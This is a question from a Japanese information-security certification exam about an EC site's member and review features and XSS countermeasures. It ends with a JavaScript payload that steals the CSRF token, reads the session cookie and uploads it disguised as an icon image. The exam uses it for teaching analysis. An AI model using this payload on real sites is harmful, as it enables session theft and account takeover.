令和5年度 秋期 情報処理安全確保支援士試験 午後 問題 問1 XSS脆弱性の種類判別とWebアプリ対策

1. 会員登録機能
   ECサイトの会員登録を行う。
2. ログイン機能
   会員IDとパスワードで会員を認証する。ログインした会員には，セッションIDをcookieとして払い出す。
3. カートへの商品の追加及び削除機能
   （省略）
4. 商品の購入機能
   ログイン済み会員だけが利用できる。
   （省略）
5. 商品レビュー機能
   商品レビューを投稿したり閲覧したりするページを提供する。商品レビューの投稿は，ログイン済み会員だけが利用できる。会員がレビューページに入力できる項目のうち，レビュータイトルとレビュー詳細の欄は自由記述が可能であり，それぞれ50字と300字の入力文字数制限を設けている。
6. 会員プロフィール機能
   アイコン画像をアップロードして設定するためのページ（以下，会員プロフィール設定ページという）や，クレジットカード情報を登録するページを提供する。どちらのページもログイン済み会員だけが利用できる。アイコン画像のアップロードは，次をパラメータとして，“https://□□□.co.jp/user/upload”に対して行う。
   ・画像ファイル 注1)
   ・“https://□□□.co.jp/user/profile”にアクセスして払い出されたトークン 注2)
   パラメータのトークンが，“https://□□□.co.jp/user/profile”にアクセスして払い出されたものと一致したときは，アップロードが成功する。アップロードしたアイコン画像は，会員プロフィール設定ページや，レビューページに表示される。
   （省略）
   注1) パラメータ名は，“uploadfile”である。
   注2) パラメータ名は，“token”である。

商品レビュー　無地Tシャツの画面イメージ。
「レビューを投稿する」ボタンがあり、その下に「★ 4.9　16件のレビュー」と記載されている。
右上には無地Tシャツのイラストがある。
レビューのリストとして以下が表示されている。

• （デフォルトのアイコン画像） 会員A
  2023年4月10日
  ★★★★★ Good
  Nice shirt!
• （デフォルトのアイコン画像） 会員B
  2023年4月1日
  ★★★★☆ 形も素材も良い
  サイズ感がぴったりフィットして気に入っています(>_<)
  手触りも良く，値段を考えると良い商品です。
  リストの最後に「以上，全16件のレビュー」と記載されている。
  注記：（デフォルトのアイコン画像）は，会員がアイコン画像をアップロードしていない場合に表示される画像である。

ページVのHTMLコードスニペット。
(省略)

会員A

2023年4月10日

★★★★★

Good

Nice shirt!

会員B

2023年4月1日

★★★★☆

形も素材も良い

サイズ感がぴったりフィットして気に入っています(>_<)
手触りも良く，値段を考えると良い商品です。

1: xhr = new XMLHttpRequest();
2: url1 = "https://□□□.co.jp/user/profile";
3: xhr.open("get", url1);
4: xhr.responseType = "document"; // レスポンスをテキストではなくDOMとして受信する。
5: xhr.send();
6: xhr.onload = function() { // 以降は，1回目のXMLHttpRequest(XHR)のレスポンスの受信に成功してから実行される。
7: page = xhr.response;
8: token = page.getElementById("token").value;
9: xhr2 = new XMLHttpRequest();
10: url2 = "https://□□□.co.jp/user/upload";
11: xhr2.open("post", url2);
12: form = new FormData();
13: cookie = document.cookie;
14: fname = "a.png";
15: ftype = "image/png";
16: file = new File([cookie], fname, {type: ftype});
// アップロードするファイルオブジェクト
// 第1引数: ファイルコンテンツ
// 第2引数: ファイル名
// 第3引数: MIMEタイプなどのオプション
17: form.append("uploadfile", file);
18: form.append("token", token);
19: xhr2.send(form);
20: }
注記: スクリプトの整形とコメントの追記は，Nさんが実施したものである。